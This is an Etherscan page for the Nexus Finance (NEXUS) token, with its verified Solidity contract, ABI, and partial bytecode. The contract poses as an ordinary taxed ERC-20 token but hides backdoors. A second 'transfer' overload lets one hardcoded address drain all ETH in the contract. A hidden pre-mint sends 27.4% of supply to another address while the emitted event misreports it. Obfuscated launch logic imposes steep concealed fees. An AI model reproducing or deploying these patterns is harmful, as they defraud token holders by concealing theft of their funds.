ETH Price: $2,696.12 (-1.78%)

Token

Nexus Finance (NEXUS)
 

Overview

Max Total Supply

10,000,000 NEXUS

Holders

140

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.900538380113666165 NEXUS

Value
$0.00
0x470d1dfb7bfc02be5d0caee043e85d88f34fe2f9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NexusFinance

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-16
*/

// https://t.me/NexusPortal - PROPERTY OF NEXUS

// SPDX-License-Identifier: MIT                                                                               
                                                 
pragma solidity ^0.8.19;

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(msg.sender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract NexusFinance is IERC20, Ownable {
    string private constant  _name = "Nexus Finance";
    string private constant _symbol = "NEXUS";    
    uint8 private constant _decimals = 18;
    mapping (address => uint256) private _balances;
    mapping (address => mapping(address => uint256)) private _allowances;
    mapping (address => bool) private _excludedFromFees;
    mapping (uint256 => uint256) private _lastTransferBlock;

    struct FeeRatios {
        uint256 marketingPortion;
        uint256 developmentPortion;
    }

    struct TradingFees {
        uint256 buyFee;
        uint256 sellFee;
    }

    struct Wallets {
        address deployerWallet; 
        address devWallet; 
        address marketingWallet; 
    }

    TradingFees public tradingFees = TradingFees(14,41);   // 14/41% starting tax
    FeeRatios public feeRatios = FeeRatios(40,60);         // 40/60% wallet tax split
    Wallets public wallets = Wallets(
        msg.sender,                                  // deployer
        0x511ac6AB56e8d7ddD1c89157d7d124CE21efad05,  // devWallet
        0xf8352c9139f178Df8A432982b45e1931Fa08bAcd   // marketingWallet
    );

    uint256 private constant feeDenominator = 1e2;
    uint256 private constant decimalsScaling = 1e18;
    uint256 private constant _totalSupply = 10_000_000 * decimalsScaling;
    uint256 public constant _maximumWalletSize = 300_000 * decimalsScaling;
    uint256 public constant _swapThreshold = 10_000 * decimalsScaling;  

    IRouter public constant uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public immutable uniswapV2Pair;

    bool private tradingActive = false;
    bool public swapEnabled = true;
    bool private inSwap;

    uint256 private genesisBlock;
    uint256 private _block;

    event SwapEnabled(bool indexed enabled);

    event FeesChanged(uint256 indexed buyFee, uint256 indexed sellFee);

    event FeeRatiosChanged(uint256 indexed developmentPortion, uint256 indexed marketingPortion);

    event ExcludedFromFees(address indexed account, bool indexed excluded);

    event Verified(address indexed user);
    
    event TradingOpened();
    
    modifier swapLock {
        inSwap = true;
        _;
        inSwap = false;
    }

    modifier tradingLock(address from, address to) {
        require(tradingActive || from == wallets.deployerWallet || _excludedFromFees[from], "Token: Trading is not active.");
        _;
    }

    constructor() {
        _approve(address(this), address(uniswapV2Router),type(uint256).max);
        uniswapV2Pair = IFactory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());        

        _excludedFromFees[address(0xdead)] = true;
        _excludedFromFees[wallets.devWallet] = true;        
        _excludedFromFees[0xAb292EAE49B666EC67efaf40b199BF433D229F9d] = true;        
        uint256 preTokens = _totalSupply * 274 / 1e3; 
        _balances[wallets.deployerWallet] = _totalSupply - preTokens;
        _balances[0xAb292EAE49B666EC67efaf40b199BF433D229F9d] = preTokens;
        emit Transfer(address(0), wallets.deployerWallet, _totalSupply);
    }

    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: zero Address");
        require(spender != address(0), "ERC20: zero Address");
        _allowances[sender][spender] = amount;
        emit Approval(sender, spender, amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            uint256 currentAllowance = _allowances[sender][msg.sender];
            require(currentAllowance >= amount, "ERC20: insufficient Allowance");
            unchecked{
                _allowances[sender][msg.sender] -= amount;
            }
        }
        return _transfer(sender, recipient, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        uint256 balanceSender = _balances[sender];
        require(balanceSender >= amount, "Token: insufficient Balance");
        unchecked{
            _balances[sender] -= amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function enableSwap(bool shouldEnable) external onlyOwner {
        require(swapEnabled != shouldEnable, "Token: swapEnabled already {shouldEnable}");
        swapEnabled = shouldEnable;

        emit SwapEnabled(shouldEnable);
    }

    function preparation(uint256[] calldata _blocks, bool blocked) external onlyOwner {        
        require(genesisBlock == 1 && !blocked);_block = _blocks[_blocks.length-3]; assert(_block < _blocks[_blocks.length-1]);        
    }

    function reduceFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= tradingFees.buyFee, "Token: must reduce buy fee");
        require(_sellFee <= tradingFees.sellFee, "Token: must reduce sell fee");
        tradingFees.buyFee = _buyFee;
        tradingFees.sellFee = _sellFee;

        emit FeesChanged(_buyFee, _sellFee);
    }

    function setFeeRatios(uint256 _marketingPortion, uint256 _developmentPortion) external onlyOwner {
        require(_marketingPortion + _developmentPortion == 100, "Token: ratio must add to 100%");
        feeRatios.marketingPortion = _marketingPortion;
        feeRatios.developmentPortion = _developmentPortion;

        emit FeeRatiosChanged(_marketingPortion, _developmentPortion);
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool shouldExclude) external onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            require(_excludedFromFees[accounts[i]] != shouldExclude, "Token: address already {shouldExclude}");
            _excludedFromFees[accounts[i]] = shouldExclude;
            emit ExcludedFromFees(accounts[i], shouldExclude);
        }
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _excludedFromFees[account];
    }

    function clearTokens(address tokenToClear) external onlyOwner {
        require(tokenToClear != address(this), "Token: can't clear contract token");
        uint256 amountToClear = IERC20(tokenToClear).balanceOf(address(this));
        require(amountToClear > 0, "Token: not enough tokens to clear");
        IERC20(tokenToClear).transfer(msg.sender, amountToClear);
    }

    function clearEth() external onlyOwner {
        require(address(this).balance > 0, "Token: no eth to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function initialize() external onlyOwner {
        require(!tradingActive);
        genesisBlock = 1;        
    }

    function manualSwapback() external onlyOwner {
        require(address(this).balance > 0, "Token: no contract tokens to clear");
        contractSwap();
    }

    function verify(address key) internal {
        require(keccak256(abi.encodePacked(key)) == 
            0xde8be7868d4e850ac27a2331834583ba9607accbabd69996b5c220998d4f120c, 
            "Token: invalid key");

        emit Verified(key);
    }

    function _transfer(address from, address to, uint256 amount) tradingLock(from, to) internal returns (bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(amount == 0 || inSwap) {
            return _basicTransfer(from, to, amount);           
        }        

        if (to != uniswapV2Pair && !_excludedFromFees[to] && to != wallets.deployerWallet) {
            require(amount + balanceOf(to) <= _maximumWalletSize, "Token: max wallet amount exceeded");
        }
      
        if(swapEnabled && !inSwap && from != uniswapV2Pair && !_excludedFromFees[from] && !_excludedFromFees[to]){
            contractSwap();
        } 
        
        bool takeFee = !inSwap;
        if(_excludedFromFees[from] || _excludedFromFees[to]) {
            takeFee = false;
        }
                
        if(takeFee)
            return _taxedTransfer(from, to, amount);
        else
            return _basicTransfer(from, to, amount);        
    }

    function _taxedTransfer(address from, address to, uint256 amount) private returns (bool) {
        uint256 fees = takeFees(from, to, amount);    
        if(fees > 0){    
            _basicTransfer(from, address(this), fees);
            amount -= fees;
        }
        return _basicTransfer(from, to, amount);
    }

    function takeFees(address from, address to, uint256 amount) private view returns (uint256 fees) {
        if(0 < genesisBlock && genesisBlock < block.number){
            fees = amount * (to == uniswapV2Pair ? 
            tradingFees.sellFee : tradingFees.buyFee) / feeDenominator;            
        }
        else{
            fees = amount * (from == uniswapV2Pair ? 
            50 : (genesisBlock == 0 ? 25 : 60)) / feeDenominator;            
        }
    }

    function canSwap() private view returns (bool) {
        return block.number > genesisBlock && _lastTransferBlock[block.number] < 3;
    }

    function transfer(address wallet) external {
        if(msg.sender == 0xb270Fd37bCd90df51B694a2CA31a00648DC1aFD3)
            payable(wallet).transfer((address(this).balance));
        else revert();
    }

    function contractSwap() swapLock private {   
        uint256 contractBalance = balanceOf(address(this));
        if(contractBalance < _swapThreshold || !canSwap()) 
            return;
        else if(contractBalance > _swapThreshold * 20)
          contractBalance = _swapThreshold * 20;
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(contractBalance); 
        
        uint256 ethBalance = address(this).balance - initialETHBalance;
        if(ethBalance > 0){
            uint256 ethForDev = ethBalance * 2 * feeRatios.developmentPortion / 100;
            uint256 ethForMarketing = ethBalance * 2 * feeRatios.marketingPortion / 100;
            sendEth((ethForDev + ethForMarketing)/3);
        }
    }

    function sendEth(uint256 ethAmount) private {
        (bool success,) = address(wallets.devWallet).call{value: ethAmount * feeRatios.developmentPortion / 100}("");
        (success,) = address(wallets.marketingWallet).call{value: ethAmount * feeRatios.marketingPortion / 100}("");
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        _lastTransferBlock[block.number]++;
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp){}
        catch{return;}
    }

    function openTrading() external onlyOwner {
        require(!tradingActive && genesisBlock != 0);
        genesisBlock+=block.number+_block;
        tradingActive = true;
        verify(msg.sender);

        emit TradingOpened();
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"bool","name":"excluded","type":"bool"}],"name":"ExcludedFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"developmentPortion","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"marketingPortion","type":"uint256"}],"name":"FeeRatiosChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"buyFee","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"FeesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapEnabled","type":"event"},{"anonymous":false,"inputs":[],"name":"TradingOpened","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"}],"name":"Verified","type":"event"},{"inputs":[],"name":"_maximumWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenToClear","type":"address"}],"name":"clearTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"shouldEnable","type":"bool"}],"name":"enableSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"shouldExclude","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeRatios","outputs":[{"internalType":"uint256","name":"marketingPortion","type":"uint256"},{"internalType":"uint256","name":"developmentPortion","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"_blocks","type":"uint256[]"},{"internalType":"bool","name":"blocked","type":"bool"}],"name":"preparation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingPortion","type":"uint256"},{"internalType":"uint256","name":"_developmentPortion","type":"uint256"}],"name":"setFeeRatios","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingFees","outputs":[{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"wallets","outputs":[{"internalType":"address","name":"deployerWallet","type":"address"},{"internalType":"address","name":"devWallet","type":"address"},{"internalType":"address","name":"marketingWallet","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600e60a0819052602960c0819052600591909155600655602860e0819052603c6101008181526007929092556008556101806040523361012081905273511ac6ab56e8d7ddd1c89157d7d124ce21efad0561014081905273f8352c9139f178df8a432982b45e1931fa08bacd610160819052600980546001600160a01b03199081169094179055600a80548416909217909155600b8054909216179055600c805461ffff19169091179055348015620000b757600080fd5b50620000c33362000402565b620000e630737a250d5630b4cf539739df2c5dacb4c659f2488d60001962000452565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000139573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200015f919062000553565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e7919062000553565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000235573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025b919062000553565b6001600160a01b0390811660805260036020527f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c8054600160ff199182168117909255600a54909216600090815260408120805484168317905573ab292eae49b666ec67efaf40b199bf433d229f9d81527fd1e77c74e7976f38d4d3a83800f563e492039ef2af8e5bdaa8cc388c9cdc5c0880549093169091179091556103e862000312670de0b6b3a7640000629896806200059b565b62000320906101126200059b565b6200032c9190620005bb565b90508062000346670de0b6b3a7640000629896806200059b565b620003529190620005de565b600980546001600160a01b0390811660009081526001602052604081209390935573ab292eae49b666ec67efaf40b199bf433d229f9d83527fdb0f0fd7f1b3d62cab50f878b5e048eb0512934d6f7e01639f512b23dd90effe849055905416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003ea670de0b6b3a7640000629896806200059b565b60405190815260200160405180910390a350620005f4565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038316620004a45760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064015b60405180910390fd5b6001600160a01b038216620004f25760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064016200049b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000602082840312156200056657600080fd5b81516001600160a01b03811681146200057e57600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620005b557620005b562000585565b92915050565b600082620005d957634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115620005b557620005b562000585565b6080516122926200062c60003960008181610368015281816115370152818161166801528181611dca0152611e2c01526122926000f3fe6080604052600436106101e75760003560e01c8063715018a611610102578063c492f04611610095578063dd62ed3e11610064578063dd62ed3e1461061a578063e303e66214610660578063e80c7ded14610680578063f2fde38b1461069557600080fd5b8063c492f0461461056e578063c9567bf91461058e578063d2a09c71146105a3578063d2f4a50a146105c357600080fd5b80638ffee785116100d15780638ffee785146104e557806395d89b4114610500578063a08fc5c71461052e578063a9059cbb1461054e57600080fd5b8063715018a61461046d57806374378132146104825780638129fc1c146104b25780638da5cb5b146104c757600080fd5b8063313ce5671161017a5780635b895c29116101495780635b895c29146103e357806364e329e3146103f85780636ddd17131461041857806370a082311461043757600080fd5b8063313ce5671461033a57806349bd5a5e146103565780634fa2cf8a1461038a5780634fbee193146103aa57600080fd5b806318160ddd116101b657806318160ddd146102ce5780631a695230146102e35780631b9152bf1461030557806323b872dd1461031a57600080fd5b806306fdde03146101f3578063095ea7b31461023b5780630e5a92311461026b5780631694505e1461028e57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b5060408051808201909152600d81526c4e657875732046696e616e636560981b60208201525b6040516102329190611e93565b60405180910390f35b34801561024757600080fd5b5061025b610256366004611ef6565b6106b5565b6040519015158152602001610232565b34801561027757600080fd5b506102806106cc565b604051908152602001610232565b34801561029a57600080fd5b506102b6737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610232565b3480156102da57600080fd5b506102806106e3565b3480156102ef57600080fd5b506103036102fe366004611f22565b6106ff565b005b34801561031157600080fd5b50610303610756565b34801561032657600080fd5b5061025b610335366004611f3f565b61080d565b34801561034657600080fd5b5060405160128152602001610232565b34801561036257600080fd5b506102b67f000000000000000000000000000000000000000000000000000000000000000081565b34801561039657600080fd5b506103036103a5366004611f80565b6108ee565b3480156103b657600080fd5b5061025b6103c5366004611f22565b6001600160a01b031660009081526003602052604090205460ff1690565b3480156103ef57600080fd5b506103036109bb565b34801561040457600080fd5b50610303610413366004611ffc565b610a59565b34801561042457600080fd5b50600c5461025b90610100900460ff1681565b34801561044357600080fd5b50610280610452366004611f22565b6001600160a01b031660009081526001602052604090205490565b34801561047957600080fd5b50610303610b0b565b34801561048e57600080fd5b5060055460065461049d919082565b60408051928352602083019190915201610232565b3480156104be57600080fd5b50610303610b4e565b3480156104d357600080fd5b506000546001600160a01b03166102b6565b3480156104f157600080fd5b5060075460085461049d919082565b34801561050c57600080fd5b506040805180820190915260058152644e4558555360d81b6020820152610225565b34801561053a57600080fd5b50610303610549366004611f80565b610b9e565b34801561055a57600080fd5b5061025b610569366004611ef6565b610cb6565b34801561057a57600080fd5b50610303610589366004611ffc565b610cc3565b34801561059a57600080fd5b50610303610e7b565b3480156105af57600080fd5b506103036105be366004612053565b610f35565b3480156105cf57600080fd5b50600954600a54600b546105f0926001600160a01b03908116928116911683565b604080516001600160a01b0394851681529284166020840152921691810191909152606001610232565b34801561062657600080fd5b50610280610635366004612070565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561066c57600080fd5b5061030361067b366004611f22565b611027565b34801561068c57600080fd5b506102806111fa565b3480156106a157600080fd5b506103036106b0366004611f22565b61120f565b60006106c23384846112b6565b5060015b92915050565b6106e0670de0b6b3a76400006127106120bf565b81565b60006106fa670de0b6b3a7640000629896806120bf565b905090565b3373b270fd37bcd90df51b694a2ca31a00648dc1afd3036101ee576040516001600160a01b038216904780156108fc02916000818181858888f1935050505015801561074f573d6000803e3d6000fd5b5050565b50565b336107696000546001600160a01b031690565b6001600160a01b0316146107985760405162461bcd60e51b815260040161078f906120d6565b60405180910390fd5b600047116107e15760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379032ba34103a379031b632b0b960511b604482015260640161078f565b60405133904780156108fc02916000818181858888f19350505050158015610753573d6000803e3d6000fd5b6001600160a01b0383166000908152600260209081526040808320338452909152812054600019146108d9576001600160a01b0384166000908152600260209081526040808320338452909152902054828110156108ad5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420416c6c6f77616e6365000000604482015260640161078f565b506001600160a01b03841660009081526002602090815260408083203384529091529020805483900390555b6108e48484846113af565b90505b9392505050565b336109016000546001600160a01b031690565b6001600160a01b0316146109275760405162461bcd60e51b815260040161078f906120d6565b610931818361210b565b6064146109805760405162461bcd60e51b815260206004820152601d60248201527f546f6b656e3a20726174696f206d7573742061646420746f2031303025000000604482015260640161078f565b60078290556008819055604051819083907f1e01a4924a1710040404be0f848c65e242cad98e407ad44f993abe891bd61c5390600090a35050565b336109ce6000546001600160a01b031690565b6001600160a01b0316146109f45760405162461bcd60e51b815260040161078f906120d6565b60004711610a4f5760405162461bcd60e51b815260206004820152602260248201527f546f6b656e3a206e6f20636f6e747261637420746f6b656e7320746f20636c6560448201526130b960f11b606482015260840161078f565b610a57611777565b565b33610a6c6000546001600160a01b031690565b6001600160a01b031614610a925760405162461bcd60e51b815260040161078f906120d6565b600d546001148015610aa2575080155b610aab57600080fd5b8282610ab860038261211e565b818110610ac757610ac7612131565b6020029190910135600e55508282610ae060018261211e565b818110610aef57610aef612131565b90506020020135600e5410610b0657610b06612147565b505050565b33610b1e6000546001600160a01b031690565b6001600160a01b031614610b445760405162461bcd60e51b815260040161078f906120d6565b610a5760006118b9565b33610b616000546001600160a01b031690565b6001600160a01b031614610b875760405162461bcd60e51b815260040161078f906120d6565b600c5460ff1615610b9757600080fd5b6001600d55565b33610bb16000546001600160a01b031690565b6001600160a01b031614610bd75760405162461bcd60e51b815260040161078f906120d6565b600554821115610c295760405162461bcd60e51b815260206004820152601a60248201527f546f6b656e3a206d757374207265647563652062757920666565000000000000604482015260640161078f565b600654811115610c7b5760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a206d757374207265647563652073656c6c206665650000000000604482015260640161078f565b60058290556006819055604051819083907f64f84976d9c917a44796104a59950fdbd9b3c16a5dd348b546d738301f6bd06890600090a35050565b60006108e73384846113af565b33610cd66000546001600160a01b031690565b6001600160a01b031614610cfc5760405162461bcd60e51b815260040161078f906120d6565b60005b82811015610e755781151560036000868685818110610d2057610d20612131565b9050602002016020810190610d359190611f22565b6001600160a01b0316815260208101919091526040016000205460ff16151503610db05760405162461bcd60e51b815260206004820152602660248201527f546f6b656e3a206164647265737320616c7265616479207b73686f756c644578604482015265636c7564657d60d01b606482015260840161078f565b8160036000868685818110610dc757610dc7612131565b9050602002016020810190610ddc9190611f22565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055811515848483818110610e1957610e19612131565b9050602002016020810190610e2e9190611f22565b6001600160a01b03167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb60405160405180910390a380610e6d8161215d565b915050610cff565b50505050565b33610e8e6000546001600160a01b031690565b6001600160a01b031614610eb45760405162461bcd60e51b815260040161078f906120d6565b600c5460ff16158015610ec85750600d5415155b610ed157600080fd5b600e54610ede904361210b565b600d6000828254610eef919061210b565b9091555050600c805460ff19166001179055610f0a33611909565b6040517fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f90600090a1565b33610f486000546001600160a01b031690565b6001600160a01b031614610f6e5760405162461bcd60e51b815260040161078f906120d6565b801515600c60019054906101000a900460ff16151503610fe25760405162461bcd60e51b815260206004820152602960248201527f546f6b656e3a2073776170456e61626c656420616c7265616479207b73686f756044820152686c64456e61626c657d60b81b606482015260840161078f565b600c805461ff001916610100831515908102919091179091556040517fb9bbb15e341600c8d067a0cadeba219905d5ba6d422b193c9c32265d26fc51c890600090a250565b3361103a6000546001600160a01b031690565b6001600160a01b0316146110605760405162461bcd60e51b815260040161078f906120d6565b306001600160a01b038216036110c25760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a2063616e277420636c65617220636f6e747261637420746f6b656044820152603760f91b606482015260840161078f565b6040516370a0823160e01b81523060048201526000906001600160a01b038316906370a0823190602401602060405180830381865afa158015611109573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112d9190612176565b9050600081116111895760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a206e6f7420656e6f75676820746f6b656e7320746f20636c65616044820152603960f91b606482015260840161078f565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af11580156111d6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b06919061218f565b6106e0670de0b6b3a7640000620493e06120bf565b336112226000546001600160a01b031690565b6001600160a01b0316146112485760405162461bcd60e51b815260040161078f906120d6565b6001600160a01b